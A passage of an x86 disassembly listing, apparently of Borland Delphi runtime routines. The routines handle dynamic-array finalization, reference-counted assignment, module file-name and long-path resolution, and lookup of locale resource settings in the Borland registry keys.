loc_200049F6:				; CODE XREF: sub_2000493C+30j
					; sub_2000493C+C5j
		mov	eax, ebx
		add	ebx, 4
		call	sub_200054F4
		dec	edi
		jg	short loc_200049F6
		jmp	short loc_20004A21
; ---------------------------------------------------------------------------


loc_20004A05:				; CODE XREF: sub_2000493C+38j
					; sub_2000493C+D6j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_20004E50
		dec	edi
		jg	short loc_20004A05
		jmp	short loc_20004A21
; ---------------------------------------------------------------------------


loc_20004A16:				; CODE XREF: sub_2000493C+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	sub_20002750
; ---------------------------------------------------------------------------


loc_20004A21:				; CODE XREF: sub_2000493C+4Fj
					; sub_2000493C+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_20004A25:			; CODE XREF: sub_2000493C+3j
		retn
sub_2000493C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004A28	proc near		; CODE XREF: sub_200112C4+34p
		mov	ecx, 1
		jmp	sub_2000493C
sub_20004A28	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004A34	proc near		; CODE XREF: sub_20004A4C+92p
					; sub_20004B68+75p
		cmp	ds:dword_20014014, 0
		jz	short loc_20004A44
		call	ds:dword_20014014
		retn
; ---------------------------------------------------------------------------


loc_20004A44:				; CODE XREF: sub_20004A34+7j
		mov	al, 10h
		call	sub_20002750
sub_20004A34	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20004A4C	proc near		; CODE XREF: sub_20004A4C+CFp
					; sub_20004B68+ACp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		xor	eax, eax
		mov	al, [ecx+1]
		lea	edi, [eax+ecx+0Ah]
		mov	ebp, [edi-4]
		xor	eax, eax
		mov	ecx, [edi-8]
		push	ecx


loc_20004A66:				; CODE XREF: sub_20004A4C+100j
		mov	ecx, [edi+4]
		sub	ecx, eax
		jle	short loc_20004A78
		mov	edx, eax
		add	eax, esi
		add	edx, ebx
		call	sub_200027FC


loc_20004A78:				; CODE XREF: sub_20004A4C+1Fj
		mov	eax, [edi+4]
		mov	edx, [edi]
		mov	edx, [edx]
		mov	cl, [edx]
		cmp	cl, 0Ah
		jz	short loc_20004AB7
		cmp	cl, 0Bh
		jz	short loc_20004AC8
		cmp	cl, 0Ch
		jz	short loc_20004AD9
		cmp	cl, 0Dh
		jz	short loc_20004AEA
		cmp	cl, 0Eh
		jz	short loc_20004B0A
		cmp	cl, 0Fh
		jz	loc_20004B23
		cmp	cl, 11h
		jz	loc_20004B34
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_20002750
; ---------------------------------------------------------------------------


loc_20004AB7:				; CODE XREF: sub_20004A4C+38j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_20003FFC
		mov	eax, 4
		jmp	short loc_20004B45
; ---------------------------------------------------------------------------


loc_20004AC8:				; CODE XREF: sub_20004A4C+3Dj
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_200046A0
		mov	eax, 4
		jmp	short loc_20004B45
; ---------------------------------------------------------------------------


loc_20004AD9:				; CODE XREF: sub_20004A4C+42j
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_20004A34
		mov	eax, 10h
		jmp	short loc_20004B45
; ---------------------------------------------------------------------------


loc_20004AEA:				; CODE XREF: sub_20004A4C+47j
		xor	ecx, ecx
		mov	cl, [edx+1]
		push	dword ptr [ecx+edx+2]
		push	dword ptr [ecx+edx+6]
		mov	ecx, [ecx+edx+0Ah]
		mov	ecx, [ecx]
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_20004B68
		pop	eax
		jmp	short loc_20004B45
; ---------------------------------------------------------------------------


loc_20004B0A:				; CODE XREF: sub_20004A4C+4Cj
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	ecx, [ecx+edx+2]
		push	ecx
		mov	ecx, edx
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_20004A4C
		pop	eax
		jmp	short loc_20004B45
; ---------------------------------------------------------------------------


loc_20004B23:				; CODE XREF: sub_20004A4C+51j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_2000550C
		mov	eax, 4
		jmp	short loc_20004B45
; ---------------------------------------------------------------------------


loc_20004B34:				; CODE XREF: sub_20004A4C+5Aj
		mov	ecx, edx
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_20004E8C
		mov	eax, 4


loc_20004B45:				; CODE XREF: sub_20004A4C+7Aj
					; sub_20004A4C+8Bj ...
		add	eax, [edi+4]
		add	edi, 8
		dec	ebp
		jnz	loc_20004A66
		pop	ecx
		sub	ecx, eax
		jle	short loc_20004B61
		lea	edx, [eax+ebx]
		add	eax, esi
		call	sub_200027FC


loc_20004B61:				; CODE XREF: sub_20004A4C+109j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20004A4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004B68	proc near		; CODE XREF: sub_20004A4C+B6p
					; sub_20004B68+98p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	ebp, [esp+10h+arg_0]
		mov	cl, [edi]
		cmp	cl, 0Ah
		jz	short loc_20004BAE
		cmp	cl, 0Bh
		jz	short loc_20004BC5
		cmp	cl, 0Ch
		jz	short loc_20004BD9
		cmp	cl, 0Dh
		jz	short loc_20004BED
		cmp	cl, 0Eh
		jz	short loc_20004C0E
		cmp	cl, 0Fh
		jz	loc_20004C2B
		cmp	cl, 11h
		jz	loc_20004C3F
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_20002750
; ---------------------------------------------------------------------------


loc_20004BAE:				; CODE XREF: sub_20004B68+13j
					; sub_20004B68+56j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_20003FFC
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_20004BAE
		jmp	loc_20004C53
; ---------------------------------------------------------------------------


loc_20004BC5:				; CODE XREF: sub_20004B68+18j
					; sub_20004B68+6Dj
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_200046A0
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_20004BC5
		jmp	short loc_20004C53
; ---------------------------------------------------------------------------


loc_20004BD9:				; CODE XREF: sub_20004B68+1Dj
					; sub_20004B68+81j
		mov	eax, ebx
		mov	edx, esi
		call	sub_20004A34
		add	ebx, 10h
		add	esi, 10h
		dec	ebp
		jnz	short loc_20004BD9
		jmp	short loc_20004C53
; ---------------------------------------------------------------------------


loc_20004BED:				; CODE XREF: sub_20004B68+22j
		xor	ecx, ecx
		mov	cl, [edi+1]
		lea	edi, [ecx+edi+2]


loc_20004BF6:				; CODE XREF: sub_20004B68+A2j
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, [edi+8]
		push	dword ptr [edi+4]
		call	sub_20004B68
		add	ebx, [edi]
		add	esi, [edi]
		dec	ebp
		jnz	short loc_20004BF6
		jmp	short loc_20004C53
; ---------------------------------------------------------------------------


loc_20004C0E:				; CODE XREF: sub_20004B68+27j
					; sub_20004B68+BFj
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, edi
		call	sub_20004A4C
		xor	eax, eax
		mov	al, [edi+1]
		add	ebx, [eax+edi+2]
		add	esi, [eax+edi+2]
		dec	ebp
		jnz	short loc_20004C0E
		jmp	short loc_20004C53
; ---------------------------------------------------------------------------


loc_20004C2B:				; CODE XREF: sub_20004B68+2Cj
					; sub_20004B68+D3j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_2000550C
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_20004C2B
		jmp	short loc_20004C53
; ---------------------------------------------------------------------------


loc_20004C3F:				; CODE XREF: sub_20004B68+35j
					; sub_20004B68+E9j
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, edi
		call	sub_20004E8C
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_20004C3F


loc_20004C53:				; CODE XREF: sub_20004B68+58j
					; sub_20004B68+6Fj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_20004B68	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_20004C5C:				; DATA XREF: sub_20005AB4+2Fo
		mov	al, 11h
		jmp	sub_20002750
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20004C64	proc near		; CODE XREF: sub_20007668+43p
					; sub_20007668+5Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edx
		push	eax
		mov	eax, [esp+8+arg_4]
		mul	[esp+8+var_8]
		mov	ecx, eax
		mov	eax, [esp+8+var_4]
		mul	[esp+8+arg_0]
		add	ecx, eax
		mov	eax, [esp+8+var_8]
		mul	[esp+8+arg_0]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8
sub_20004C64	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_20004C88	proc near		; CODE XREF: sub_20004C90p
					; sub_200072D4+5p ...
		test	eax, eax
		jz	short locret_20004C8F
		mov	eax, [eax-4]

locret_20004C8F:			; CODE XREF: sub_20004C88+2j
		retn
sub_20004C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_20004C90	proc near		; CODE XREF: sub_200073A0+39p
					; sub_200073A0+5Cp
		call	sub_20004C88
		dec	eax
		retn
sub_20004C90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20004C98	proc near		; CODE XREF: sub_20004CB8+106p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_20004B68
		pop	ebp
		retn	4
sub_20004C98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_20004CA8	proc near		; CODE XREF: sub_20004CB8+B0p
		jmp	sub_2000493C
sub_20004CA8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20004CB0	proc near		; CODE XREF: sub_20004CB8+2Fp
		call	sub_20004E50
		retn
sub_20004CB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20004CB8	proc near		; CODE XREF: sub_20004CB8+173p
					; sub_20004E44+5p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		mov	eax, [ebp+arg_0]
		mov	edi, [eax]
		test	edi, edi
		jg	short loc_20004CF1
		test	edi, edi
		jge	short loc_20004CE2
		mov	al, 4
		call	sub_20002750
; ---------------------------------------------------------------------------


loc_20004CE2:				; CODE XREF: sub_20004CB8+21j
		mov	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_20004CB0
		jmp	loc_20004E3B
; ---------------------------------------------------------------------------


loc_20004CF1:				; CODE XREF: sub_20004CB8+1Dj
		xor	eax, eax
		mov	[ebp+var_10], eax
		test	ebx, ebx
		jz	short loc_20004D05
		sub	ebx, 4
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		sub	ebx, 4


loc_20004D05:				; CODE XREF: sub_20004CB8+40j
		xor	eax, eax
		mov	al, [esi+1]
		add	esi, eax
		mov	eax, esi
		mov	edx, [eax+2]
		mov	[ebp+var_18], edx
		mov	edx, [eax+6]
		test	edx, edx
		jz	short loc_20004D1F
		mov	esi, [edx]
		jmp	short loc_20004D21
; ---------------------------------------------------------------------------


loc_20004D1F:				; CODE XREF: sub_20004CB8+61j
		xor	esi, esi


loc_20004D21:				; CODE XREF: sub_20004CB8+65j
		mov	eax, edi
		imul	[ebp+var_18]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cdq
		idiv	edi
		cmp	eax, [ebp+var_18]
		jz	short loc_20004D3B
		mov	al, 4
		call	sub_20002750
; ---------------------------------------------------------------------------


loc_20004D3B:				; CODE XREF: sub_20004CB8+7Aj
		add	[ebp+var_1C], 8
		test	ebx, ebx
		jz	short loc_20004D48
		cmp	dword ptr [ebx], 1
		jnz	short loc_20004D7D


loc_20004D48:				; CODE XREF: sub_20004CB8+89j
		mov	[ebp+var_20], ebx
		cmp	edi, [ebp+var_10]
		jge	short loc_20004D6D
		test	esi, esi
		jz	short loc_20004D6D
		mov	eax, ebx
		add	eax, 8
		mov	edx, edi
		imul	edx, [ebp+var_18]
		add	eax, edx
		mov	ecx, [ebp+var_10]
		sub	ecx, edi
		mov	edx, esi
		call	sub_20004CA8


loc_20004D6D:				; CODE XREF: sub_20004CB8+96j
					; sub_20004CB8+9Aj
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		call	sub_200026A8
		mov	ebx, [ebp+var_20]
		jmp	short loc_20004DDB
; ---------------------------------------------------------------------------


loc_20004D7D:				; CODE XREF: sub_20004CB8+8Ej
		dec	dword ptr [ebx]
		mov	eax, [ebp+var_1C]
		call	sub_20002668
		mov	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		cmp	edi, [ebp+var_14]
		jge	short loc_20004D97
		mov	[ebp+var_14], edi


loc_20004D97:				; CODE XREF: sub_20004CB8+DAj
		test	esi, esi
		jz	short loc_20004DC5
		mov	edx, [ebp+var_14]
		imul	edx, [ebp+var_18]
		mov	eax, ebx
		add	eax, 8
		xor	ecx, ecx
		call	sub_20002E38
		mov	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	eax, ebx
		add	eax, 8
		mov	ecx, esi
		call	sub_20004C98
		jmp	short loc_20004DDB
; ---------------------------------------------------------------------------


loc_20004DC5:				; CODE XREF: sub_20004CB8+E1j
		mov	ecx, [ebp+var_14]
		imul	ecx, [ebp+var_18]
		mov	edx, ebx
		add	edx, 8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_200027FC


loc_20004DDB:				; CODE XREF: sub_20004CB8+C3j
					; sub_20004CB8+10Bj
		mov	dword ptr [ebx], 1
		add	ebx, 4
		mov	[ebx], edi
		add	ebx, 4
		mov	edx, edi
		sub	edx, [ebp+var_10]
		imul	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		imul	eax, [ebp+var_10]
		add	eax, ebx
		xor	ecx, ecx
		call	sub_20002E38
		cmp	[ebp+var_8], 1
		jle	short loc_20004E36
		add	[ebp+arg_0], 4
		dec	[ebp+var_8]
		dec	edi
		test	edi, edi
		jl	short loc_20004E36
		inc	edi
		mov	[ebp+var_C], 0


loc_20004E1C:				; CODE XREF: sub_20004CB8+17Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_C]
		lea	eax, [ebx+eax*4]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		call	sub_20004CB8
		inc	[ebp+var_C]
		dec	edi
		jnz	short loc_20004E1C


loc_20004E36:				; CODE XREF: sub_20004CB8+14Ej
					; sub_20004CB8+15Aj
		mov	eax, [ebp+var_4]
		mov	[eax], ebx


loc_20004E3B:				; CODE XREF: sub_20004CB8+34j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_20004CB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_20004E44	proc near		; CODE XREF: sub_200072D4+20p
					; sub_200072D4+57p

var_4		= dword	ptr -4

		push	esp
		add	[esp+4+var_4], 4
		call	sub_20004CB8
		retn
sub_20004E44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20004E50	proc near		; CODE XREF: sub_2000493C+D0p
					; sub_20004CB0p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_20004E89
		mov	dword ptr [eax], 0
		lock dec dword ptr [ecx-8]
		jnz	short locret_20004E89
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_20004E80
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_20004E80
		mov	edx, [edx]
		call	sub_2000493C


loc_20004E80:				; CODE XREF: sub_20004E50+20j
					; sub_20004E50+27j
		sub	eax, 8
		call	sub_20002688
		pop	eax

locret_20004E89:			; CODE XREF: sub_20004E50+4j
					; sub_20004E50+10j
		retn
sub_20004E50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004E8C	proc near		; CODE XREF: sub_20004A4C+EFp
					; sub_20004B68+DDp
		push	ebx
		mov	ebx, [eax]
		test	edx, edx
		jz	short loc_20004E97
		lock inc dword ptr [edx-8]


loc_20004E97:				; CODE XREF: sub_20004E8C+5j
		test	ebx, ebx
		jz	short loc_20004EAF
		lock dec dword ptr [ebx-8]
		jnz	short loc_20004EAF
		push	eax
		push	edx
		mov	edx, ecx
		inc	dword ptr [ebx-8]
		call	sub_20004E50
		pop	edx
		pop	eax


loc_20004EAF:				; CODE XREF: sub_20004E8C+Dj
					; sub_20004E8C+13j
		mov	[eax], edx
		pop	ebx
		retn
sub_20004E8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004EB4	proc near		; CODE XREF: sub_2000FCAC+Cp

Buffer		= _MEMORY_BASIC_INFORMATION ptr	-1Ch

		add	esp, 0FFFFFFE4h
		push	1Ch		; dwLength
		lea	edx, [esp+20h+Buffer]
		push	edx		; lpBuffer
		push	eax		; lpAddress
		call	VirtualQuery
		cmp	[esp+1Ch+Buffer.State],	1000h
		jnz	short loc_20004ED4
		mov	eax, [esp+1Ch+Buffer.AllocationBase]
		jmp	short loc_20004ED6
; ---------------------------------------------------------------------------


loc_20004ED4:				; CODE XREF: sub_20004EB4+18j
		xor	eax, eax


loc_20004ED6:				; CODE XREF: sub_20004EB4+1Ej
		add	esp, 1Ch
		retn
sub_20004EB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004EDC	proc near		; CODE XREF: sub_20004F24+1Bp

Filename	= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF8h
		mov	ebx, eax
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_20004F17
		push	105h		; nSize
		lea	eax, [esp+114h+Filename]
		push	eax		; lpFilename
		mov	eax, [ebx+4]
		push	eax		; hModule
		call	GetModuleFileNameA
		mov	eax, esp
		mov	dl, 1
		call	sub_20005118
		mov	esi, eax
		mov	[ebx+10h], esi
		test	esi, esi
		jnz	short loc_20004F17
		mov	eax, [ebx+4]
		mov	[ebx+10h], eax


loc_20004F17:				; CODE XREF: sub_20004EDC+Ej
					; sub_20004EDC+33j
		mov	eax, [ebx+10h]
		add	esp, 108h
		pop	esi
		pop	ebx
		retn
sub_20004EDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20004F24	proc near		; CODE XREF: sub_20005994+2Bp
					; CODE:2000A380p ...
		mov	edx, ds:dword_20014034
		test	edx, edx
		jz	short locret_20004F4B


loc_20004F2E:				; CODE XREF: sub_20004F24+25j
		cmp	eax, [edx+4]
		jz	short loc_20004F3D
		cmp	eax, [edx+8]
		jz	short loc_20004F3D
		cmp	eax, [edx+0Ch]
		jnz	short loc_20004F45


loc_20004F3D:				; CODE XREF: sub_20004F24+Dj
					; sub_20004F24+12j
		mov	eax, edx
		call	sub_20004EDC
		retn
; ---------------------------------------------------------------------------


loc_20004F45:				; CODE XREF: sub_20004F24+17j
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_20004F2E

locret_20004F4B:			; CODE XREF: sub_20004F24+8j
		retn
sub_20004F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_20004F4C	proc near		; CODE XREF: sub_20004F60+83p
					; sub_20004F60+96p ...
		jmp	short loc_20004F54
; ---------------------------------------------------------------------------


loc_20004F4E:				; CODE XREF: sub_20004F4C+11j
		push	eax		; lpsz
		call	CharNextA


loc_20004F54:				; CODE XREF: sub_20004F4Cj
		mov	dl, [eax]
		test	dl, dl
		jz	short locret_20004F5F
		cmp	dl, 5Ch
		jnz	short loc_20004F4E

locret_20004F5F:			; CODE XREF: sub_20004F4C+Cj
		retn
sub_20004F4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20004F60	proc near		; CODE XREF: sub_20005118+A3p

String1		= byte ptr -24Fh
FindFileData	= _WIN32_FIND_DATAA ptr	-14Ah
iMaxLength	= dword	ptr -8
lpString2	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDB0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+iMaxLength], edx
		mov	[ebp+lpString2], eax
		mov	eax, [ebp+lpString2]
		mov	dword ptr [ebp+FindFileData._padding], eax
		push	offset ModuleName ; "kernel32.dll"
		call	GetModuleHandleA
		mov	esi, eax
		test	esi, esi
		jz	short loc_20004FC8
		push	offset ProcName	; "GetLongPathNameA"
		push	esi		; hModule
		call	GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_20004FC8
		push	105h
		lea	eax, [ebp+String1]
		push	eax
		mov	eax, [ebp+lpString2]
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_20004FC8
		mov	eax, [ebp+iMaxLength]
		push	eax		; iMaxLength
		lea	eax, [ebp+String1]
		push	eax		; lpString2
		mov	eax, [ebp+lpString2]
		push	eax		; lpString1
		call	lstrcpynA
		jmp	loc_200050EA
; ---------------------------------------------------------------------------


loc_20004FC8:				; CODE XREF: sub_20004F60+26j
					; sub_20004F60+37j ...
		mov	eax, [ebp+lpString2]
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_20005008
		mov	eax, [ebp+lpString2]
		cmp	byte ptr [eax+1], 5Ch
		jnz	loc_200050EA
		mov	eax, [ebp+lpString2]
		add	eax, 2
		call	sub_20004F4C
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_200050EA
		lea	eax, [esi+1]
		call	sub_20004F4C
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_200050EA
		jmp	short loc_2000500E
; ---------------------------------------------------------------------------


loc_20005008:				; CODE XREF: sub_20004F60+6Ej
		mov	esi, [ebp+lpString2]
		add	esi, 2


loc_2000500E:				; CODE XREF: sub_20004F60+A6j
		mov	ebx, esi
		sub	ebx, [ebp+lpString2]
		lea	eax, [ebx+1]
		push	eax		; iMaxLength
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	lstrcpynA
		jmp	loc_200050CD
; ---------------------------------------------------------------------------


loc_2000502C:				; CODE XREF: sub_20004F60+170j
		lea	eax, [esi+1]
		call	sub_20004F4C
		mov	edi, eax
		mov	eax, edi
		sub	eax, esi
		mov	edx, eax
		add	edx, ebx
		inc	edx
		cmp	edx, 105h
		jg	loc_200050EA
		inc	eax
		push	eax		; iMaxLength
		push	esi		; lpString2
		lea	eax, [ebp+String1]
		add	eax, ebx
		push	eax		; lpString1
		call	lstrcpynA
		lea	eax, [ebp+FindFileData]
		push	eax		; lpFindFileData
		lea	eax, [ebp+String1]
		push	eax		; lpFileName
		call	FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_200050EA
		push	esi		; hFindFile
		call	FindClose
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax		; lpString
		call	lstrlenA
		lea	edx, [ebx+1]
		add	eax, edx
		inc	eax
		cmp	eax, 105h
		jg	short loc_200050EA
		mov	[ebp+ebx+String1], 5Ch
		mov	eax, 105h
		sub	eax, ebx
		dec	eax
		push	eax		; iMaxLength
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax		; lpString2
		lea	eax, [ebp+String1]
		add	eax, ebx
		inc	eax
		push	eax		; lpString1
		call	lstrcpynA
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax		; lpString
		call	lstrlenA
		inc	eax
		add	ebx, eax
		mov	esi, edi


loc_200050CD:				; CODE XREF: sub_20004F60+C7j
		cmp	byte ptr [esi],	0
		jnz	loc_2000502C
		mov	eax, [ebp+iMaxLength]
		push	eax		; iMaxLength
		lea	eax, [ebp+String1]
		push	eax		; lpString2
		mov	eax, [ebp+lpString2]
		push	eax		; lpString1
		call	lstrcpynA


loc_200050EA:				; CODE XREF: sub_20004F60+63j
					; sub_20004F60+77j ...
		mov	eax, dword ptr [ebp+FindFileData._padding]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20004F60	endp

; ---------------------------------------------------------------------------
; char ModuleName[]
ModuleName	db 'kernel32.dll',0     ; DATA XREF: sub_20004F60+18o
		align 4
; char ProcName[]
ProcName	db 'GetLongPathNameA',0 ; DATA XREF: sub_20004F60+28o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005118	proc near		; CODE XREF: sub_20004EDC+27p

ValueName	= byte ptr -11Dh
cbData		= dword	ptr -18h
String2		= byte ptr -12h
var_E		= byte ptr -0Eh
LCData		= byte ptr -0Dh
var_B		= byte ptr -0Bh
hKey		= dword	ptr -8
lpString2	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE0h
		push	ebx
		push	esi
		mov	[ebp+lpString2], eax
		push	105h		; nSize
		lea	eax, [ebp+ValueName]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA
		mov	[ebp+String2], 0
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	0F0019h		; samDesired
		push	0		; ulOptions
		push	offset SubKey	; "Software\\Borland\\Locales"
		push	80000001h	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jz	short loc_2000519B
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	0F0019h		; samDesired
		push	0		; ulOptions
		push	offset SubKey	; "Software\\Borland\\Locales"
		push	80000002h	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jz	short loc_2000519B
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	0F0019h		; samDesired
		push	0		; ulOptions
		push	offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales"
		push	80000001h	; hKey
		call	RegOpenKeyExA
		test	eax, eax
		jnz	loc_20005224


loc_2000519B:				; CODE XREF: sub_20005118+41j
					; sub_20005118+5Fj
		xor	eax, eax
		push	ebp
		push	offset loc_2000521D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+cbData], 5
		lea	eax, [ebp+ValueName]
		mov	edx, 105h
		call	sub_20004F60
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+String2]
		push	eax		; lpData
		push	0		; lpType
		push	0		; lpReserved
		lea	eax, [ebp+ValueName]
		push	eax		; lpValueName
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegQueryValueExA
		test	eax, eax
		jz	short loc_20005202
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+String2]
		push	eax		; lpData
		push	0		; lpType
		push	0		; lpReserved
		push	offset ValueName ; lpValueName
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegQueryValueExA
		test	eax, eax
		jz	short loc_20005202
		mov	[ebp+String2], 0


loc_20005202:				; CODE XREF: sub_20005118+C6j
					; sub_20005118+E4j
		mov	[ebp+var_E], 0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005224


loc_20005213:				; CODE XREF: sub_20005118+10Aj
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_2000521D:				; DATA XREF: sub_20005118+86o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005213
; ---------------------------------------------------------------------------


loc_20005224:				; CODE XREF: sub_20005118+7Dj
					; sub_20005118+104j
					; DATA XREF: ...
		push	105h		; iMaxLength
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		lea	eax, [ebp+ValueName]
		push	eax		; lpString1
		call	lstrcpynA
		push	5		; cchData
		lea	eax, [ebp+LCData]
		push	eax		; lpLCData
		push	3		; LCType
		call	GetThreadLocale
		push	eax		; Locale
		call	GetLocaleInfoA
		xor	esi, esi
		cmp	[ebp+ValueName], 0
		jz	loc_2000533E
		cmp	[ebp+LCData], 0
		jnz	short loc_2000526B
		cmp	[ebp+String2], 0
		jz	loc_2000533E


loc_2000526B:				; CODE XREF: sub_20005118+147j
		lea	eax, [ebp+ValueName]
		push	eax		; lpString
		call	lstrlenA
		mov	ebx, eax
		lea	eax, [ebp+ValueName]
		add	ebx, eax
		jmp	short loc_20005284
; ---------------------------------------------------------------------------

